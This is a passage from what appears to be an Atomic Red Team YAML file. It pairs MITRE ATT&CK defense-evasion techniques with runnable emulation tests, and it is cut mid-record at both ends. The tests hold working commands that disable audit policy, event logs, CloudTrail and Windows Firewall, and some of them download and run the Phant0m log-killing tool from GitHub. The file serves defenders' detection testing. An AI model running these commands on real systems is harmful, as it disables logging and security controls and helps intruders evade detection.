      - Anti-virus
      - Host intrusion prevention systems
      - Signature-based detection
      - Network intrusion detection system
      x_mitre_detection: |-
        Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).

        Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      identifier: T1140
    atomic_tests:
    - name: Deobfuscate/Decode Files Or Information
      auto_generated_guid: dc6fe391-69e6-4506-bd06-ea5eeb4082f8
      description: |
        Encode/Decode executable
        Upon execution a file named T1140_calc_decoded.exe will be placed in the temp folder
      supported_platforms:
      - windows
      input_arguments:
        executable:
          description: name of executable
          type: Path
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          certutil -encode #{executable} %temp%\T1140_calc.txt
          certutil -decode %temp%\T1140_calc.txt %temp%\T1140_calc_decoded.exe
        cleanup_command: |
          del %temp%\T1140_calc.txt >nul 2>&1
          del %temp%\T1140_calc_decoded.exe >nul 2>&1
        name: command_prompt
    - name: Certutil Rename and Decode
      auto_generated_guid: 71abc534-3c05-4d0c-80f7-cbe93cb2aa94
      description: 'Rename certutil and decode a file. This is in reference to latest
        research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html)

'
      supported_platforms:
      - windows
      input_arguments:
        executable:
          description: name of executable/file to decode
          type: Path
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          copy %windir%\system32\certutil.exe %temp%\tcm.tmp
          %temp%\tcm.tmp -encode #{executable} %temp%\T1140_calc2.txt
          %temp%\tcm.tmp -decode %temp%\T1140_calc2.txt %temp%\T1140_calc2_decoded.exe
        cleanup_command: |
          del %temp%\tcm.tmp >nul 2>&1
          del %temp%\T1140_calc2.txt >nul 2>&1
          del %temp%\T1140_calc2_decoded.exe >nul 2>&1
        name: command_prompt
    - name: Base64 decoding with Python
      auto_generated_guid: 356dc0e8-684f-4428-bb94-9313998ad608
      description: 'Use Python to decode a base64-encoded text string and echo it
        to the console

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        message:
          description: Message to print to the screen
          type: String
          default: Hello from Atomic Red Team test T1140!
        encoded_file:
          description: File to temporarily save encoded text
          type: Path
          default: "/tmp/T1140.encoded"
      dependencies:
      - description: 'Python must be present

'
        prereq_command: 'which python3

'
        get_prereq_command: 'echo "Please install Python 3"

'
      executor:
        name: sh
        elevation_required: false
        command: |
          ENCODED=$(python3 -c 'import base64;enc=base64.b64encode("#{message}".encode());print(enc.decode())')
          python3 -c "import base64;dec=base64.b64decode(\"$ENCODED\");print(dec.decode())"
          python3 -c "import base64 as d;dec=d.b64decode(\"$ENCODED\");print(dec.decode())"
          python3 -c "from base64 import b64decode;dec=b64decode(\"$ENCODED\");print(dec.decode())"
          python3 -c "from base64 import b64decode as d;dec=d(\"$ENCODED\");print(dec.decode())"
          echo $ENCODED | python3 -c "import base64,sys;dec=base64.b64decode(sys.stdin.read());print(dec.decode())"
          echo $ENCODED > #{encoded_file} && python3 -c "import base64;dec=base64.b64decode(open('#{encoded_file}').read());print(dec.decode())"
    - name: Base64 decoding with Perl
      auto_generated_guid: 6604d964-b9f6-4d4b-8ce8-499829a14d0a
      description: 'Use Perl to decode a base64-encoded text string and echo it to
        the console

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        message:
          description: Message to print to the screen
          type: String
          default: Hello from Atomic Red Team test T1140!
        encoded_file:
          description: File to temporarily save encoded text
          type: Path
          default: "/tmp/T1140.encoded"
      dependencies:
      - description: 'Perl must be present

'
        prereq_command: 'which perl

'
        get_prereq_command: 'echo "Please install Perl"

'
      executor:
        name: sh
        elevation_required: false
        command: |
          ENCODED=$(perl -e "use MIME::Base64;print(encode_base64('#{message}'));")
          perl -le "use MIME::Base64;print(decode_base64('$ENCODED'));"
          echo $ENCODED | perl -le 'use MIME::Base64;print(decode_base64(<STDIN>));'
          echo $ENCODED > #{encoded_file} && perl -le 'use MIME::Base64;open($f,"<","#{encoded_file}");print(decode_base64(<$f>));'
    - name: Base64 decoding with shell utilities
      auto_generated_guid: b4f6a567-a27a-41e5-b8ef-ac4b4008bb7e
      description: 'Use common shell utilities to decode a base64-encoded text string
        and echo it to the console

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        message:
          description: Message to print to the screen
          type: String
          default: Hello from Atomic Red Team test T1140!
        encoded_file:
          description: File to temporarily save encoded text
          type: Path
          default: "/tmp/T1140.encoded"
      executor:
        name: sh
        elevation_required: false
        command: |
          ENCODED=$(echo '#{message}' | base64)
          printf $ENCODED | base64 -d
          echo $ENCODED | base64 -d
          echo $(echo $ENCODED) | base64 -d
          echo $ENCODED > #{encoded_file} && base64 -d #{encoded_file}
          echo $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}
          echo $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d
          echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d
          bash -c "{echo,\"$(echo $ENCODED)\"}|{base64,-d}"
    - name: Hex decoding with shell utilities
      auto_generated_guid: '005943f9-8dd5-4349-8b46-0313c0a9f973'
      description: 'Use common shell utilities to decode a hex-encoded text string
        and echo it to the console

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        message:
          description: Message to print to the screen
          type: String
          default: Hello from Atomic Red Team test T1140!
        encoded_file:
          description: File to temporarily save encoded text
          type: Path
          default: "/tmp/T1140.encoded"
      dependencies:
      - description: 'xxd must be present

'
        prereq_command: 'which xxd

'
        get_prereq_command: 'echo "Please install xxd"

'
      executor:
        name: sh
        elevation_required: false
        command: |
          ENCODED=$(echo '#{message}' | xxd -ps -c 256)
          printf $ENCODED | xxd -r -p
          echo $ENCODED | xxd -r -p
          echo $(echo $ENCODED) | xxd -r -p
          echo $ENCODED > #{encoded_file} && xxd -r -p #{encoded_file}
          echo $ENCODED > #{encoded_file} && xxd -r -p < #{encoded_file}
          echo $ENCODED > #{encoded_file} && cat #{encoded_file} | xxd -r -p
          echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | xxd -r -p
  T1610:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1610
        url: https://attack.mitre.org/techniques/T1610
      - source_name: Docker Containers API
        url: https://docs.docker.com/engine/api/v1.41/#tag/Container
        description: Docker. (n.d.). Docker Engine API v1.41 Reference - Container.
          Retrieved March 29, 2021.
      - source_name: Kubernetes Dashboard
        url: https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/
        description: The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard).
          Retrieved March 29, 2021.
      - source_name: Kubeflow Pipelines
        url: https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/
        description: The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines.
          Retrieved March 29, 2021.
      - source_name: Aqua Build Images on Hosts
        url: https://blog.aquasec.com/malicious-container-image-docker-container-host
        description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building
          Malicious Images on Your Hosts. Retrieved March 29, 2021.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Deploy Container
      description: |-
        Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.

        Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)
      id: attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2021-04-14T12:02:20.641Z'
      created: '2021-03-29T16:51:26.020Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_remote_support: true
      x_mitre_detection: Monitor for suspicious or unknown container images and pods
        in your environment. Deploy logging agents on Kubernetes nodes and retrieve
        logs from sidecar proxies for application pods to detect malicious activity
        at the cluster level. In Docker, the daemon log provides insight into remote
        API calls, including those that deploy containers. Logs for management services
        or applications used to deploy containers other than the native technologies
        themselves should also be monitored.
      x_mitre_contributors:
      - Pawan Kinger, @kingerpawan, Trend Micro
      - Alfredo Oliveira, Trend Micro
      - Idan Frimark, Cisco
      - Center for Threat-Informed Defense (CTID)
      - Magno Logan, @magnologan, Trend Micro
      - Ariel Shuper, Cisco
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_platforms:
      - Containers
      x_mitre_data_sources:
      - 'Container: Container Creation'
      - 'Container: Container Start'
      - 'Pod: Pod Creation'
      - 'Pod: Pod Modification'
      - 'Application Log: Application Log Content'
    atomic_tests: []
  T1006:
    technique:
      id: attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Direct Volume Access
      description: |-
        Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)

        Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)
      external_references:
      - source_name: mitre-attack
        external_id: T1006
        url: https://attack.mitre.org/techniques/T1006
      - url: http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin
        description: Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors
          Directly from Disk using Logical Offsets. Retrieved November 12, 2014.
        source_name: Hakobyan 2009
      - url: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
        description: Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved
          June 2, 2016.
        source_name: Github PowerSploit Ninjacopy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-02-09T14:09:00.753Z'
      created: '2017-05-31T21:30:20.934Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)

        Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.
      x_mitre_defense_bypassed:
      - File monitoring
      - File system access controls
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Drive: Drive Access'
      x_mitre_version: '2.0'
      identifier: T1006
    atomic_tests:
    - name: Read volume boot sector via DOS device path (PowerShell)
      auto_generated_guid: 88f6327e-51ec-4bbf-b2e8-3fea534eab8b
      description: |-
        This test uses PowerShell to open a handle on the drive volume via the `\\.\` [DOS device path specifier](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#dos-device-paths) and perform direct access read of the first few bytes of the volume.
        On success, a hex dump of the first 11 bytes of the volume is displayed.

        For a NTFS volume, it should correspond to the following sequence ([NTFS partition boot sector](https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(VBR))):
        ```
                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000   EB 52 90 4E 54 46 53 20 20 20 20                 ëR?NTFS
        ```
      supported_platforms:
      - windows
      input_arguments:
        volume:
          description: Drive letter of the volume to access
          type: String
          default: 'C:'
      executor:
        command: |
          $buffer = New-Object byte[] 11
          $handle = New-Object IO.FileStream "\\.\#{volume}", 'Open', 'Read', 'ReadWrite'
          $handle.Read($buffer, 0, $buffer.Length)
          $handle.Close()
          Format-Hex -InputObject $buffer
        name: powershell
        elevation_required: true
  T1562.008:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1562.008
        url: https://attack.mitre.org/techniques/T1562/008
      - source_name: 'Following the CloudTrail: Generating strong AWS security signals
          with Sumo Logic'
        url: https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/
        description: 'Dan Whalen. (2019, September 10). Following the CloudTrail:
          Generating strong AWS security signals with Sumo Logic. Retrieved October
          16, 2020.'
      - source_name: Stopping CloudTrail from Sending Events to CloudWatch Logs
        url: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html
        description: Amazon Web Services. (n.d.). Stopping CloudTrail from Sending
          Events to CloudWatch Logs. Retrieved October 16, 2020.
      - source_name: Configuring Data Access audit logs
        url: https://cloud.google.com/logging/docs/audit/configure-data-access
        description: Google. (n.d.). Configuring Data Access audit logs. Retrieved
          October 16, 2020.
      - source_name: az monitor diagnostic-settings
        url: https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete
        description: Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved
          October 16, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Disable Cloud Logs
      description: "An adversary may disable cloud logging capabilities and integrations
        to limit what data is collected on their activities and avoid detection. \n\nCloud
        environments allow for collection and analysis of audit and application logs
        that provide insight into what activities a user does within the environment.
        If an attacker has sufficient permissions, they can disable logging to avoid
        detection of their activities. For example, in AWS an adversary may disable
        CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation:
        Following the CloudTrail: Generating strong AWS security signals with Sumo
        Logic)"
      id: attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-03-15T16:43:04.273Z'
      created: '2020-10-12T13:52:32.846Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: 'Monitor logs for API calls to disable logging. In AWS, monitor
        for: <code>StopLogging</code> and <code>DeleteTrail</code>.(Citation: Stopping
        CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: <code>google.logging.v2.ConfigServiceV2.UpdateSink</code>.(Citation:
        Configuring Data Access audit logs)  In Azure, monitor for <code>az monitor
        diagnostic-settings delete</code>.(Citation: az monitor diagnostic-settings)
        Additionally, a sudden loss of a log source may indicate that it has been
        disabled.'
      x_mitre_data_sources:
      - 'Cloud Service: Cloud Service Modification'
      - 'Cloud Service: Cloud Service Disable'
      x_mitre_contributors:
      - Syed Ummar Farooqh, McAfee
      - Prasad Somasamudram, McAfee
      - 'Sekhar Sarukkai, McAfee '
      - Ibrahim Ali Khan
      - Alex Soler, AttackIQ
      - Janantha Marasinghe
      - Matt Snyder, VMware
      x_mitre_platforms:
      - IaaS
      identifier: T1562.008
    atomic_tests:
    - name: AWS CloudTrail Changes
      auto_generated_guid: 9c10dc6b-20bd-403a-8e67-50ef7d07ed4e
      description: 'Creates a new cloudTrail in AWS, Upon successful creation it will
        Update,Stop and Delete the cloudTrail

'
      supported_platforms:
      - iaas:aws
      input_arguments:
        cloudtrail_name:
          description: Name of the cloudTrail
          type: String
          default: redatomictesttrail
        s3_bucket_name:
          description: Name of the bucket
          type: String
          default: redatomic-test
        region:
          description: Name of the region
          type: String
          default: us-east-1
      dependencies:
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

'
        prereq_command: |
          cat ~/.aws/credentials | grep "default"
          aws s3api create-bucket --bucket #{s3_bucket_name} --region #{region}
          aws s3api put-bucket-policy --bucket #{s3_bucket_name} --policy file://$PathToAtomicsFolder/T1562.008/src/policy.json
        get_prereq_command: 'echo Please install the aws-cli and configure your AWS
          defult profile using: aws configure

'
      executor:
        command: |
          aws cloudtrail create-trail --name #{cloudtrail_name} --s3-bucket-name #{s3_bucket_name} --region #{region}
          aws cloudtrail update-trail --name #{cloudtrail_name} --s3-bucket-name #{s3_bucket_name}  --is-multi-region-trail --region #{region}
          aws cloudtrail stop-logging --name #{cloudtrail_name} --region #{region}
          aws cloudtrail delete-trail --name #{cloudtrail_name} --region #{region}
        cleanup_command: "aws s3 rb s3://#{s3_bucket_name} --force \n"
        name: sh
        elevation_required: false
  T1600.002:
    technique:
      id: attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5
      description: |-
        Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.

        Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)
      name: Disable Crypto Hardware
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1600.002
        url: https://attack.mitre.org/techniques/T1600/002
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-10-21T22:37:48.503Z'
      created: '2020-10-19T19:11:18.757Z'
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_platforms:
      - Network
      x_mitre_detection: There is no documented method for defenders to directly identify
        behaviors that disable cryptographic hardware. Detection efforts may be focused
        on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601)
        and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some
        detection methods require vendor support to aid in investigation.
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1562.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1562.002
        url: https://attack.mitre.org/techniques/T1562/002
      - source_name: Windows Log Events
        url: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/
        description: Franklin Smith. (n.d.). Windows Security Log Events. Retrieved
          February 21, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Disable Windows Event Logging
      description: |-
        Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.

        Adversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.
      id: attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-29T22:02:33.870Z'
      created: '2020-02-21T20:46:36.688Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_defense_bypassed:
      - Log analysis
      x_mitre_detection: Monitor processes and command-line arguments for commands
        that can be used to disable logging. Lack of event logs may be suspicious.
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Windows
      identifier: T1562.002
    atomic_tests:
    - name: Disable Windows IIS HTTP Logging
      auto_generated_guid: 69435dcf-c66f-4ec0-a8b1-82beb76b34db
      description: |
        Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
        This action requires HTTP logging configurations in IIS to be unlocked.

        Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
      supported_platforms:
      - windows
      input_arguments:
        website_name:
          description: The name of the website on a server
          type: String
          default: Default Web Site
      executor:
        command: 'C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}"
          /section:httplogging /dontLog:true

'
        cleanup_command: |
          if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
            C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
          }
        name: powershell
    - name: Kill Event Log Service Threads
      auto_generated_guid: 41ac52ba-5d5e-40c0-b267-573ed90489bd
      description: Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING
        you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html
      supported_platforms:
      - windows
      executor:
        command: |
          Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
          $url = "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1"
          $output = "$env:TEMP\Invoke-Phant0m.ps1"
          $wc = New-Object System.Net.WebClient
          $wc.DownloadFile($url, $output)
          cd $env:TEMP
          Import-Module .\Invoke-Phant0m.ps1
          Invoke-Phant0m
        cleanup_command: |
          Write-Host "NEED TO Restart-Computer TO ENSURE LOGGING RETURNS" -fore red
          Remove-Item "$env:TEMP\Invoke-Phant0m.ps1" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Impair Windows Audit Log Policy
      auto_generated_guid: 5102a3a7-e2d7-4129-9e45-f483f2e0eea8
      description: |-
        Disables the windows audit policy to prevent key host based telemetry being written into the event logs.
        [Solarigate example](https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/)
      supported_platforms:
      - windows
      executor:
        command: |
          auditpol /set /category:"Account Logon" /success:disable /failure:disable
          auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
          auditpol /set /category:"Detailed Tracking" /success:disable
        cleanup_command: |
          auditpol /set /category:"Account Logon" /success:enable /failure:enable
          auditpol /set /category:"Detailed Tracking" /success:enable
          auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
        name: command_prompt
        elevation_required: true
    - name: Clear Windows Audit Policy Config
      auto_generated_guid: 913c0e4e-4b37-4b78-ad0b-90e7b25010f6
      description: Clear the Windows audit policy using auditpol utility. This action
        would stop certain audit events from being recorded in the security log.
      supported_platforms:
      - windows
      executor:
        command: |
          auditpol /clear /y
          auditpol /remove /allusers
        cleanup_command: |
          auditpol /set /category:"Account Logon" /success:enable /failure:enable
          auditpol /set /category:"Detailed Tracking" /success:enable
          auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
        name: command_prompt
        elevation_required: true
    - name: Disable Event Logging with wevtutil
      auto_generated_guid: b26a3340-dad7-4360-9176-706269c74103
      description: "Wevtutil can be used to disable logs. \nNOTE: RansomEXX ransomware
        uses this to disable Security logs post-encryption.\n"
      supported_platforms:
      - windows
      input_arguments:
        log_name:
          description: Name of the log to be disabled
          type: String
          default: Microsoft-Windows-IKE/Operational
      executor:
        command: 'wevtutil sl "#{log_name}" /e:false

'
        cleanup_command: 'wevtutil sl "#{log_name}" /e:true

'
        name: command_prompt
    - name: Makes Eventlog blind with Phant0m
      auto_generated_guid: 3ddf3d03-f5d6-462a-ad76-2c5ff7b6d741
      description: 'Use [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog

'
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: exe version of Phant0m
          type: Path
          default: PathToAtomicsFolder\T1562.002\bin\Phant0m.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Phant0m.exe must exist on disk at specified location (#{file_name})

'
        prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1562.002/bin/Phant0m.exe" -OutFile "#{file_name}" -UseBasicParsing
      executor:
        command: 'PathToAtomicsFolder\T1562.002\bin\Phant0m.exe

'
        cleanup_command: 'echo "Sorry you have to reboot"

'
        name: command_prompt
  T1562.007:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1562.007
        url: https://attack.mitre.org/techniques/T1562/007
      - source_name: Expel IO Evil in AWS
        url: https://expel.io/blog/finding-evil-in-aws/
        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
          Evil in AWS. Retrieved June 25, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Disable or Modify Cloud Firewall
      description: "Adversaries may disable or modify a firewall within a cloud environment
        to bypass controls that limit access to cloud resources. Cloud firewalls are
        separate from system firewalls that are described in [Disable or Modify System
        Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments
        typically utilize restrictive security groups and firewall rules that only
        allow network activity from trusted IP addresses via expected ports and protocols.
        An adversary may introduce new firewall rules or policies to allow access
        into a victim cloud environment. For example, an adversary may use a script
        or utility that creates new ingress rules in existing security groups to allow
        any TCP/IP connectivity.(Citation: Expel IO Evil in AWS)\n\nModifying or disabling
        a cloud firewall may enable adversary C2 communications, lateral movement,
        and/or data exfiltration that would otherwise not be allowed."
      id: attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-03-08T10:33:02.146Z'
      created: '2020-06-24T16:55:46.243Z'
      x_mitre_contributors:
      - Expel
      x_mitre_detection: Monitor cloud logs for modification or creation of new security
        groups or firewall rules.
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'Firewall: Firewall Rule Modification'
      - 'Firewall: Firewall Disable'
      x_mitre_platforms:
      - IaaS
    atomic_tests: []
  T1562.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1562.004
        url: https://attack.mitre.org/techniques/T1562/004
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Disable or Modify System Firewall
      description: "Adversaries may disable or modify system firewalls in order to
        bypass controls limiting network usage. Changes could be disabling the entire
        mechanism as well as adding, deleting, or modifying particular rules. This
        can be done numerous ways depending on the operating system, including via
        command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying
        or disabling a system firewall may enable adversary C2 communications, lateral
        movement, and/or data exfiltration that would otherwise not be allowed. "
      id: attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-29T22:18:11.166Z'
      created: '2020-02-21T21:00:48.814Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_defense_bypassed:
      - Firewall
      x_mitre_detection: Monitor processes and command-line arguments to see if firewalls
        are disabled or modified. Monitor Registry edits to keys that manage firewalls.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Firewall: Firewall Disable'
      - 'Firewall: Firewall Rule Modification'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1562.004
    atomic_tests:
    - name: Disable Microsoft Defender Firewall
      auto_generated_guid: 88d05800-a5e4-407e-9b53-ece4174f197f
      description: |
        Disables the Microsoft Defender Firewall for the current profile.
        Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...
      supported_platforms:
      - windows
      executor:
        command: 'netsh advfirewall set currentprofile state off

'
        cleanup_command: 'netsh advfirewall set currentprofile state on >nul 2>&1

'
        name: command_prompt
    - name: Disable Microsoft Defender Firewall via Registry
      auto_generated_guid: afedc8c4-038c-4d82-b3e5-623a95f8a612
      description: |
        Disables the Microsoft Defender Firewall for the public profile via registry
        Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile"
          /v "EnableFirewall" /t REG_DWORD /d 0 /f

'
        cleanup_command: 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile"
